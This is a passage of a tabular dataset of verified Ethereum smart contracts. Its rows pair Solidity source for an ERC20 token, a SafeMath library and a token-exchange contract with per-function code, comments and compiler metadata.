contract_name
stringlengths 1
61
| file_path
stringlengths 5
50.4k
| contract_address
stringlengths 42
42
| language
stringclasses 1
value | class_name
stringlengths 1
61
| class_code
stringlengths 4
330k
| class_documentation
stringlengths 0
29.1k
| class_documentation_type
stringclasses 6
values | func_name
stringlengths 0
62
| func_code
stringlengths 1
303k
| func_documentation
stringlengths 2
14.9k
| func_documentation_type
stringclasses 4
values | compiler_version
stringlengths 15
42
| license_type
stringclasses 14
values | swarm_source
stringlengths 0
71
| meta
dict | __index_level_0__
int64 0
60.4k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ELTPLUS | ELTPLUS.sol | 0xe883bd2f6b311b96342ecd8046952b614f717ced | Solidity | ELTPLUS | contract ELTPLUS is ERC20 {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
address internal _admin;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
constructor() public {
_admin = msg.sender;
_symbol = "ELT";
_name = "ELTPLUS";
_decimals = 18;
_totalSupply = 100000000000* 10**uint(_decimals);
balances[msg.sender]=_totalSupply;
}
modifier ownership() {
require(msg.sender == _admin);
_;
}
function name() public view returns (string memory)
{
return _name;
}
function symbol() public view returns (string memory)
{
return _symbol;
}
function decimals() public view returns (uint8)
{
return _decimals;
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = (balances[_to]).add( _value);
emit ERC20.Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = (balances[_from]).sub( _value);
balances[_to] = (balances[_to]).add(_value);
allowed[_from][msg.sender] = (allowed[_from][msg.sender]).sub(_value);
emit ERC20.Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit ERC20.Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function mint(uint256 _amount) public ownership returns (bool) {
_totalSupply = (_totalSupply).add(_amount);
balances[_admin] +=_amount;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] -= _value; // Subtract from the sender
_totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowed[_from][msg.sender]); // Check allowance
balances[_from] -= _value; // Subtract from the targeted balance
allowed[_from][msg.sender] -= _value; // Subtract from the sender's allowance
_totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
//Admin can transfer his ownership to new address
function transferownership(address _newaddress) public returns(bool){
require(msg.sender==_admin);
_admin=_newaddress;
return true;
}
} | transferownership | function transferownership(address _newaddress) public returns(bool){
require(msg.sender==_admin);
_admin=_newaddress;
return true;
}
| //Admin can transfer his ownership to new address | LineComment | v0.5.11+commit.c082d0b4 | None | bzzr://6db144f5bbe040fde6c58953976ce0348fd390ca4a8b4d42ba3503d55becb435 | {
"func_code_index": [
3728,
3888
]
} | 4,200 |
||
CubegoSilver | CubegoSilver.sol | 0x904597a4628da87a7709a33dbedd09717e8f1eeb | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
| /**
* @dev Multiplies two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://b516957f73c58f78a37fd264ed5b0e79f93575096948f8c023b18d2698b3b4f5 | {
"func_code_index": [
89,
266
]
} | 4,201 |
|
CubegoSilver | CubegoSilver.sol | 0x904597a4628da87a7709a33dbedd09717e8f1eeb | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
| /**
* @dev Integer division of two numbers, truncating the quotient.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://b516957f73c58f78a37fd264ed5b0e79f93575096948f8c023b18d2698b3b4f5 | {
"func_code_index": [
350,
630
]
} | 4,202 |
|
CubegoSilver | CubegoSilver.sol | 0x904597a4628da87a7709a33dbedd09717e8f1eeb | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
| /**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://b516957f73c58f78a37fd264ed5b0e79f93575096948f8c023b18d2698b3b4f5 | {
"func_code_index": [
744,
860
]
} | 4,203 |
|
CubegoSilver | CubegoSilver.sol | 0x904597a4628da87a7709a33dbedd09717e8f1eeb | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
| /**
* @dev Adds two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://b516957f73c58f78a37fd264ed5b0e79f93575096948f8c023b18d2698b3b4f5 | {
"func_code_index": [
924,
1054
]
} | 4,204 |
|
SEXBot | SEXBot.sol | 0x1cc7475ee5b03a6b74e8d7fe05f5f9a3524b4b8e | Solidity | SEXBot | contract SEXBot is HasAdmin {
event Made( bytes32 indexed id, address indexed seller );
event Taken( bytes32 indexed id, address indexed buyer );
event Canceled( bytes32 indexed id );
event Updated( bytes32 indexed id );
// list of well-known ERC20s tokens this contract accepts
address[] public tokenSCAs;
mapping( address => bool ) public safelist;
// NOTE: a token value of address(0) indicates Ether
struct Listing {
address payable seller;
uint256 sellunits;
address selltoken;
uint256 askunits;
address asktoken;
}
mapping( bytes32 => Listing ) public listings;
uint256 public makerfee;
uint256 public updatefee;
uint256 public cancelfee;
uint256 public takerfee;
uint256 public counter;
string public clientIPFSHash;
bytes4 magic; // required return value from onERC721Received() function
function make( uint256 _sellunits,
address _selltok,
uint256 _askunits,
address _asktok ) public payable returns (bytes32) {
require( safelist[_selltok], "unrecognized sell token" );
require( safelist[_asktok], "unrecognized ask token" );
if (_selltok == address(0)) { // ETH
require( _sellunits + makerfee >= _sellunits, "safemath: bad arg" );
require( msg.value >= _sellunits + makerfee, "insufficient fee" );
admin_.transfer( msg.value - _sellunits );
}
else {
ERC20 tok = ERC20(_selltok);
require( tok.transferFrom(msg.sender, address(this), _sellunits),
"failed transferFrom()" );
admin_.transfer( msg.value );
}
bytes32 id = keccak256( abi.encodePacked(
counter++, now, msg.sender, _sellunits, _selltok, _askunits, _asktok) );
listings[id] =
Listing( msg.sender, _sellunits, _selltok, _askunits, _asktok );
emit Made( id, msg.sender );
return id;
}
function take( bytes32 _id ) public payable {
require( listings[_id].seller != address(0), "listing unavailable" );
// receive payment:
// asktoken => this
// takerfee => admin
if (listings[_id].asktoken == address(0)) { // ETH
require( msg.value >= listings[_id].askunits + takerfee, "low value" );
admin_.transfer( msg.value - listings[_id].askunits );
}
else {
require( ERC20( listings[_id].asktoken )
.transferFrom(msg.sender, address(this), listings[_id].askunits),
"transferFrom() failed" );
admin_.transfer( msg.value );
}
// delivery:
// selltoken => msg.sender
// asktoken => seller
if (listings[_id].selltoken == address(0)) { // ETH
msg.sender.transfer( listings[_id].sellunits );
}
else {
ERC20( listings[_id].selltoken )
.transfer( msg.sender, listings[_id].sellunits );
}
if (listings[_id].asktoken == address(0)) { // ETH
listings[_id].seller.transfer( listings[_id].askunits );
}
else {
ERC20( listings[_id].asktoken )
.transfer( listings[_id].seller, listings[_id].askunits );
}
listings[_id].seller = address(0);
emit Taken( _id, msg.sender );
}
function update( bytes32 _id, uint256 _askunits, address _asktok )
public payable {
require( msg.sender == listings[_id].seller, "must be seller" );
require( msg.value >= updatefee, "insufficient fee to update" );
require( safelist[_asktok], "unrecognized ask token" );
listings[_id].askunits = _askunits;
listings[_id].asktoken = _asktok;
admin_.transfer( msg.value );
emit Updated( _id );
}
function cancel( bytes32 _id ) public payable {
require( msg.sender == listings[_id].seller, "must be seller" );
require( msg.value >= cancelfee, "insufficient fee to cancel" );
if (listings[_id].selltoken == address(0)) {
listings[_id].seller.transfer( listings[_id].sellunits );
}
else {
ERC20 tok = ERC20( listings[_id].selltoken );
tok.transfer( msg.sender, listings[_id].sellunits );
}
listings[_id].seller = address(0); // mark as canceled
admin_.transfer( msg.value );
emit Canceled( _id );
}
// =========================================================================
// Admin and internal functions
// =========================================================================
constructor( uint256 _mf, uint256 _uf, uint256 _cf, uint256 _tf ) public {
tokenSCAs.push( address(0) );
safelist[address(0)] = true;
makerfee = _mf;
updatefee = _uf;
cancelfee = _cf;
takerfee = _tf;
magic = bytes4( keccak256(
abi.encodePacked("onERC721Received(address,address,uint256,bytes)")) );
}
function setFee( uint8 _which, uint256 _amtwei ) public isAdmin {
if (_which == uint8(0)) makerfee = _amtwei;
else if (_which == uint8(1)) updatefee = _amtwei;
else if (_which == uint8(2)) cancelfee = _amtwei;
else if (_which == uint8(3)) takerfee = _amtwei;
else revert( "invalid fee specified" );
}
function tokenCount() public view returns (uint256) {
return tokenSCAs.length;
}
function listToken( address _toksca, bool _stat ) public isAdmin {
tokenSCAs.push( _toksca );
safelist[_toksca] = _stat;
}
function setClient( string memory _client ) public isAdmin {
clientIPFSHash = _client;
}
// =========================================================================
// Remaining logic attempts to capture accidental donations of ether or
// certain token types
// =========================================================================
// if caller sends ether and leaves calldata blank
receive() external payable {
admin_.transfer( msg.value );
}
// called if calldata has a value that does not match a function
fallback() external payable {
admin_.transfer( msg.value );
}
// ERC721 (NFT) transfer callback
function onERC721Received( address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data) external returns(bytes4) {
if ( _operator == address(0x0)
|| _from == address(0x0)
|| _data.length > 0 ) {} // suppress warnings unused params
ERC721(msg.sender).transferFrom( address(this), admin_, _tokenId );
return magic;
}
} | // ****************************************************************************
// Simple Ethereum Xchange roBot (S*E*X*Bot)
//
// Notes:
// 1. DO NOT do a simple Ether transfer to this contract - use the functions
// 2. Same for tokens: DO NOT transfer() tokens directly to this contract
// 3. There is no rate feed/oracle - clients must manage listings carefully.
// 4. All software has bugs and smart contracts are difficult to get right.
// No warranties, use at own risk.
// 5. Scams happen. Buyer is solely responsible to verify listing details.
//
// **************************************************************************** | LineComment | make | function make( uint256 _sellunits,
address _selltok,
uint256 _askunits,
address _asktok ) public payable returns (bytes32) {
require( safelist[_selltok], "unrecognized sell token" );
require( safelist[_asktok], "unrecognized ask token" );
if (_selltok == address(0)) { // ETH
require( _sellunits + makerfee >= _sellunits, "safemath: bad arg" );
require( msg.value >= _sellunits + makerfee, "insufficient fee" );
admin_.transfer( msg.value - _sellunits );
}
else {
ERC20 tok = ERC20(_selltok);
require( tok.transferFrom(msg.sender, address(this), _sellunits),
"failed transferFrom()" );
admin_.transfer( msg.value );
}
bytes32 id = keccak256( abi.encodePacked(
counter++, now, msg.sender, _sellunits, _selltok, _askunits, _asktok) );
listings[id] =
Listing( msg.sender, _sellunits, _selltok, _askunits, _asktok );
emit Made( id, msg.sender );
return id;
}
| // required return value from onERC721Received() function | LineComment | v0.6.10+commit.00c0fcaf | MIT | ipfs://e5e9972ed08a4569d2c54e8ce4652dfb3f27255819aac795b8bcae8637b4b8b5 | {
"func_code_index": [
892,
1938
]
} | 4,205 |
SEXBot | SEXBot.sol | 0x1cc7475ee5b03a6b74e8d7fe05f5f9a3524b4b8e | Solidity | SEXBot | contract SEXBot is HasAdmin {
event Made( bytes32 indexed id, address indexed seller );
event Taken( bytes32 indexed id, address indexed buyer );
event Canceled( bytes32 indexed id );
event Updated( bytes32 indexed id );
// list of well-known ERC20s tokens this contract accepts
address[] public tokenSCAs;
mapping( address => bool ) public safelist;
// NOTE: a token value of address(0) indicates Ether
struct Listing {
address payable seller;
uint256 sellunits;
address selltoken;
uint256 askunits;
address asktoken;
}
mapping( bytes32 => Listing ) public listings;
uint256 public makerfee;
uint256 public updatefee;
uint256 public cancelfee;
uint256 public takerfee;
uint256 public counter;
string public clientIPFSHash;
bytes4 magic; // required return value from onERC721Received() function
function make( uint256 _sellunits,
address _selltok,
uint256 _askunits,
address _asktok ) public payable returns (bytes32) {
require( safelist[_selltok], "unrecognized sell token" );
require( safelist[_asktok], "unrecognized ask token" );
if (_selltok == address(0)) { // ETH
require( _sellunits + makerfee >= _sellunits, "safemath: bad arg" );
require( msg.value >= _sellunits + makerfee, "insufficient fee" );
admin_.transfer( msg.value - _sellunits );
}
else {
ERC20 tok = ERC20(_selltok);
require( tok.transferFrom(msg.sender, address(this), _sellunits),
"failed transferFrom()" );
admin_.transfer( msg.value );
}
bytes32 id = keccak256( abi.encodePacked(
counter++, now, msg.sender, _sellunits, _selltok, _askunits, _asktok) );
listings[id] =
Listing( msg.sender, _sellunits, _selltok, _askunits, _asktok );
emit Made( id, msg.sender );
return id;
}
function take( bytes32 _id ) public payable {
require( listings[_id].seller != address(0), "listing unavailable" );
// receive payment:
// asktoken => this
// takerfee => admin
if (listings[_id].asktoken == address(0)) { // ETH
require( msg.value >= listings[_id].askunits + takerfee, "low value" );
admin_.transfer( msg.value - listings[_id].askunits );
}
else {
require( ERC20( listings[_id].asktoken )
.transferFrom(msg.sender, address(this), listings[_id].askunits),
"transferFrom() failed" );
admin_.transfer( msg.value );
}
// delivery:
// selltoken => msg.sender
// asktoken => seller
if (listings[_id].selltoken == address(0)) { // ETH
msg.sender.transfer( listings[_id].sellunits );
}
else {
ERC20( listings[_id].selltoken )
.transfer( msg.sender, listings[_id].sellunits );
}
if (listings[_id].asktoken == address(0)) { // ETH
listings[_id].seller.transfer( listings[_id].askunits );
}
else {
ERC20( listings[_id].asktoken )
.transfer( listings[_id].seller, listings[_id].askunits );
}
listings[_id].seller = address(0);
emit Taken( _id, msg.sender );
}
function update( bytes32 _id, uint256 _askunits, address _asktok )
public payable {
require( msg.sender == listings[_id].seller, "must be seller" );
require( msg.value >= updatefee, "insufficient fee to update" );
require( safelist[_asktok], "unrecognized ask token" );
listings[_id].askunits = _askunits;
listings[_id].asktoken = _asktok;
admin_.transfer( msg.value );
emit Updated( _id );
}
function cancel( bytes32 _id ) public payable {
require( msg.sender == listings[_id].seller, "must be seller" );
require( msg.value >= cancelfee, "insufficient fee to cancel" );
if (listings[_id].selltoken == address(0)) {
listings[_id].seller.transfer( listings[_id].sellunits );
}
else {
ERC20 tok = ERC20( listings[_id].selltoken );
tok.transfer( msg.sender, listings[_id].sellunits );
}
listings[_id].seller = address(0); // mark as canceled
admin_.transfer( msg.value );
emit Canceled( _id );
}
// =========================================================================
// Admin and internal functions
// =========================================================================
constructor( uint256 _mf, uint256 _uf, uint256 _cf, uint256 _tf ) public {
tokenSCAs.push( address(0) );
safelist[address(0)] = true;
makerfee = _mf;
updatefee = _uf;
cancelfee = _cf;
takerfee = _tf;
magic = bytes4( keccak256(
abi.encodePacked("onERC721Received(address,address,uint256,bytes)")) );
}
function setFee( uint8 _which, uint256 _amtwei ) public isAdmin {
if (_which == uint8(0)) makerfee = _amtwei;
else if (_which == uint8(1)) updatefee = _amtwei;
else if (_which == uint8(2)) cancelfee = _amtwei;
else if (_which == uint8(3)) takerfee = _amtwei;
else revert( "invalid fee specified" );
}
function tokenCount() public view returns (uint256) {
return tokenSCAs.length;
}
function listToken( address _toksca, bool _stat ) public isAdmin {
tokenSCAs.push( _toksca );
safelist[_toksca] = _stat;
}
function setClient( string memory _client ) public isAdmin {
clientIPFSHash = _client;
}
// =========================================================================
// Remaining logic attempts to capture accidental donations of ether or
// certain token types
// =========================================================================
// if caller sends ether and leaves calldata blank
receive() external payable {
admin_.transfer( msg.value );
}
// called if calldata has a value that does not match a function
fallback() external payable {
admin_.transfer( msg.value );
}
// ERC721 (NFT) transfer callback
function onERC721Received( address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data) external returns(bytes4) {
if ( _operator == address(0x0)
|| _from == address(0x0)
|| _data.length > 0 ) {} // suppress warnings unused params
ERC721(msg.sender).transferFrom( address(this), admin_, _tokenId );
return magic;
}
} | // ****************************************************************************
// Simple Ethereum Xchange roBot (S*E*X*Bot)
//
// Notes:
// 1. DO NOT do a simple Ether transfer to this contract - use the functions
// 2. Same for tokens: DO NOT transfer() tokens directly to this contract
// 3. There is no rate feed/oracle - clients must manage listings carefully.
// 4. All software has bugs and smart contracts are difficult to get right.
// No warranties, use at own risk.
// 5. Scams happen. Buyer is solely responsible to verify listing details.
//
// **************************************************************************** | LineComment | // =========================================================================
// Remaining logic attempts to capture accidental donations of ether or
// certain token types
// =========================================================================
// if caller sends ether and leaves calldata blank | LineComment | v0.6.10+commit.00c0fcaf | MIT | ipfs://e5e9972ed08a4569d2c54e8ce4652dfb3f27255819aac795b8bcae8637b4b8b5 | {
"func_code_index": [
5803,
5874
]
} | 4,206 |
||
SEXBot | SEXBot.sol | 0x1cc7475ee5b03a6b74e8d7fe05f5f9a3524b4b8e | Solidity | SEXBot | contract SEXBot is HasAdmin {
event Made( bytes32 indexed id, address indexed seller );
event Taken( bytes32 indexed id, address indexed buyer );
event Canceled( bytes32 indexed id );
event Updated( bytes32 indexed id );
// list of well-known ERC20s tokens this contract accepts
address[] public tokenSCAs;
mapping( address => bool ) public safelist;
// NOTE: a token value of address(0) indicates Ether
struct Listing {
address payable seller;
uint256 sellunits;
address selltoken;
uint256 askunits;
address asktoken;
}
mapping( bytes32 => Listing ) public listings;
uint256 public makerfee;
uint256 public updatefee;
uint256 public cancelfee;
uint256 public takerfee;
uint256 public counter;
string public clientIPFSHash;
bytes4 magic; // required return value from onERC721Received() function
function make( uint256 _sellunits,
address _selltok,
uint256 _askunits,
address _asktok ) public payable returns (bytes32) {
require( safelist[_selltok], "unrecognized sell token" );
require( safelist[_asktok], "unrecognized ask token" );
if (_selltok == address(0)) { // ETH
require( _sellunits + makerfee >= _sellunits, "safemath: bad arg" );
require( msg.value >= _sellunits + makerfee, "insufficient fee" );
admin_.transfer( msg.value - _sellunits );
}
else {
ERC20 tok = ERC20(_selltok);
require( tok.transferFrom(msg.sender, address(this), _sellunits),
"failed transferFrom()" );
admin_.transfer( msg.value );
}
bytes32 id = keccak256( abi.encodePacked(
counter++, now, msg.sender, _sellunits, _selltok, _askunits, _asktok) );
listings[id] =
Listing( msg.sender, _sellunits, _selltok, _askunits, _asktok );
emit Made( id, msg.sender );
return id;
}
function take( bytes32 _id ) public payable {
require( listings[_id].seller != address(0), "listing unavailable" );
// receive payment:
// asktoken => this
// takerfee => admin
if (listings[_id].asktoken == address(0)) { // ETH
require( msg.value >= listings[_id].askunits + takerfee, "low value" );
admin_.transfer( msg.value - listings[_id].askunits );
}
else {
require( ERC20( listings[_id].asktoken )
.transferFrom(msg.sender, address(this), listings[_id].askunits),
"transferFrom() failed" );
admin_.transfer( msg.value );
}
// delivery:
// selltoken => msg.sender
// asktoken => seller
if (listings[_id].selltoken == address(0)) { // ETH
msg.sender.transfer( listings[_id].sellunits );
}
else {
ERC20( listings[_id].selltoken )
.transfer( msg.sender, listings[_id].sellunits );
}
if (listings[_id].asktoken == address(0)) { // ETH
listings[_id].seller.transfer( listings[_id].askunits );
}
else {
ERC20( listings[_id].asktoken )
.transfer( listings[_id].seller, listings[_id].askunits );
}
listings[_id].seller = address(0);
emit Taken( _id, msg.sender );
}
function update( bytes32 _id, uint256 _askunits, address _asktok )
public payable {
require( msg.sender == listings[_id].seller, "must be seller" );
require( msg.value >= updatefee, "insufficient fee to update" );
require( safelist[_asktok], "unrecognized ask token" );
listings[_id].askunits = _askunits;
listings[_id].asktoken = _asktok;
admin_.transfer( msg.value );
emit Updated( _id );
}
function cancel( bytes32 _id ) public payable {
require( msg.sender == listings[_id].seller, "must be seller" );
require( msg.value >= cancelfee, "insufficient fee to cancel" );
if (listings[_id].selltoken == address(0)) {
listings[_id].seller.transfer( listings[_id].sellunits );
}
else {
ERC20 tok = ERC20( listings[_id].selltoken );
tok.transfer( msg.sender, listings[_id].sellunits );
}
listings[_id].seller = address(0); // mark as canceled
admin_.transfer( msg.value );
emit Canceled( _id );
}
// =========================================================================
// Admin and internal functions
// =========================================================================
constructor( uint256 _mf, uint256 _uf, uint256 _cf, uint256 _tf ) public {
tokenSCAs.push( address(0) );
safelist[address(0)] = true;
makerfee = _mf;
updatefee = _uf;
cancelfee = _cf;
takerfee = _tf;
magic = bytes4( keccak256(
abi.encodePacked("onERC721Received(address,address,uint256,bytes)")) );
}
function setFee( uint8 _which, uint256 _amtwei ) public isAdmin {
if (_which == uint8(0)) makerfee = _amtwei;
else if (_which == uint8(1)) updatefee = _amtwei;
else if (_which == uint8(2)) cancelfee = _amtwei;
else if (_which == uint8(3)) takerfee = _amtwei;
else revert( "invalid fee specified" );
}
function tokenCount() public view returns (uint256) {
return tokenSCAs.length;
}
function listToken( address _toksca, bool _stat ) public isAdmin {
tokenSCAs.push( _toksca );
safelist[_toksca] = _stat;
}
function setClient( string memory _client ) public isAdmin {
clientIPFSHash = _client;
}
// =========================================================================
// Remaining logic attempts to capture accidental donations of ether or
// certain token types
// =========================================================================
// if caller sends ether and leaves calldata blank
receive() external payable {
admin_.transfer( msg.value );
}
// called if calldata has a value that does not match a function
fallback() external payable {
admin_.transfer( msg.value );
}
// ERC721 (NFT) transfer callback
function onERC721Received( address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data) external returns(bytes4) {
if ( _operator == address(0x0)
|| _from == address(0x0)
|| _data.length > 0 ) {} // suppress warnings unused params
ERC721(msg.sender).transferFrom( address(this), admin_, _tokenId );
return magic;
}
} | // ****************************************************************************
// Simple Ethereum Xchange roBot (S*E*X*Bot)
//
// Notes:
// 1. DO NOT do a simple Ether transfer to this contract - use the functions
// 2. Same for tokens: DO NOT transfer() tokens directly to this contract
// 3. There is no rate feed/oracle - clients must manage listings carefully.
// 4. All software has bugs and smart contracts are difficult to get right.
// No warranties, use at own risk.
// 5. Scams happen. Buyer is solely responsible to verify listing details.
//
// **************************************************************************** | LineComment | // called if calldata has a value that does not match a function | LineComment | v0.6.10+commit.00c0fcaf | MIT | ipfs://e5e9972ed08a4569d2c54e8ce4652dfb3f27255819aac795b8bcae8637b4b8b5 | {
"func_code_index": [
5945,
6017
]
} | 4,207 |
||
SEXBot | SEXBot.sol | 0x1cc7475ee5b03a6b74e8d7fe05f5f9a3524b4b8e | Solidity | SEXBot | contract SEXBot is HasAdmin {
event Made( bytes32 indexed id, address indexed seller );
event Taken( bytes32 indexed id, address indexed buyer );
event Canceled( bytes32 indexed id );
event Updated( bytes32 indexed id );
// list of well-known ERC20s tokens this contract accepts
address[] public tokenSCAs;
mapping( address => bool ) public safelist;
// NOTE: a token value of address(0) indicates Ether
struct Listing {
address payable seller;
uint256 sellunits;
address selltoken;
uint256 askunits;
address asktoken;
}
mapping( bytes32 => Listing ) public listings;
uint256 public makerfee;
uint256 public updatefee;
uint256 public cancelfee;
uint256 public takerfee;
uint256 public counter;
string public clientIPFSHash;
bytes4 magic; // required return value from onERC721Received() function
function make( uint256 _sellunits,
address _selltok,
uint256 _askunits,
address _asktok ) public payable returns (bytes32) {
require( safelist[_selltok], "unrecognized sell token" );
require( safelist[_asktok], "unrecognized ask token" );
if (_selltok == address(0)) { // ETH
require( _sellunits + makerfee >= _sellunits, "safemath: bad arg" );
require( msg.value >= _sellunits + makerfee, "insufficient fee" );
admin_.transfer( msg.value - _sellunits );
}
else {
ERC20 tok = ERC20(_selltok);
require( tok.transferFrom(msg.sender, address(this), _sellunits),
"failed transferFrom()" );
admin_.transfer( msg.value );
}
bytes32 id = keccak256( abi.encodePacked(
counter++, now, msg.sender, _sellunits, _selltok, _askunits, _asktok) );
listings[id] =
Listing( msg.sender, _sellunits, _selltok, _askunits, _asktok );
emit Made( id, msg.sender );
return id;
}
function take( bytes32 _id ) public payable {
require( listings[_id].seller != address(0), "listing unavailable" );
// receive payment:
// asktoken => this
// takerfee => admin
if (listings[_id].asktoken == address(0)) { // ETH
require( msg.value >= listings[_id].askunits + takerfee, "low value" );
admin_.transfer( msg.value - listings[_id].askunits );
}
else {
require( ERC20( listings[_id].asktoken )
.transferFrom(msg.sender, address(this), listings[_id].askunits),
"transferFrom() failed" );
admin_.transfer( msg.value );
}
// delivery:
// selltoken => msg.sender
// asktoken => seller
if (listings[_id].selltoken == address(0)) { // ETH
msg.sender.transfer( listings[_id].sellunits );
}
else {
ERC20( listings[_id].selltoken )
.transfer( msg.sender, listings[_id].sellunits );
}
if (listings[_id].asktoken == address(0)) { // ETH
listings[_id].seller.transfer( listings[_id].askunits );
}
else {
ERC20( listings[_id].asktoken )
.transfer( listings[_id].seller, listings[_id].askunits );
}
listings[_id].seller = address(0);
emit Taken( _id, msg.sender );
}
function update( bytes32 _id, uint256 _askunits, address _asktok )
public payable {
require( msg.sender == listings[_id].seller, "must be seller" );
require( msg.value >= updatefee, "insufficient fee to update" );
require( safelist[_asktok], "unrecognized ask token" );
listings[_id].askunits = _askunits;
listings[_id].asktoken = _asktok;
admin_.transfer( msg.value );
emit Updated( _id );
}
function cancel( bytes32 _id ) public payable {
require( msg.sender == listings[_id].seller, "must be seller" );
require( msg.value >= cancelfee, "insufficient fee to cancel" );
if (listings[_id].selltoken == address(0)) {
listings[_id].seller.transfer( listings[_id].sellunits );
}
else {
ERC20 tok = ERC20( listings[_id].selltoken );
tok.transfer( msg.sender, listings[_id].sellunits );
}
listings[_id].seller = address(0); // mark as canceled
admin_.transfer( msg.value );
emit Canceled( _id );
}
// =========================================================================
// Admin and internal functions
// =========================================================================
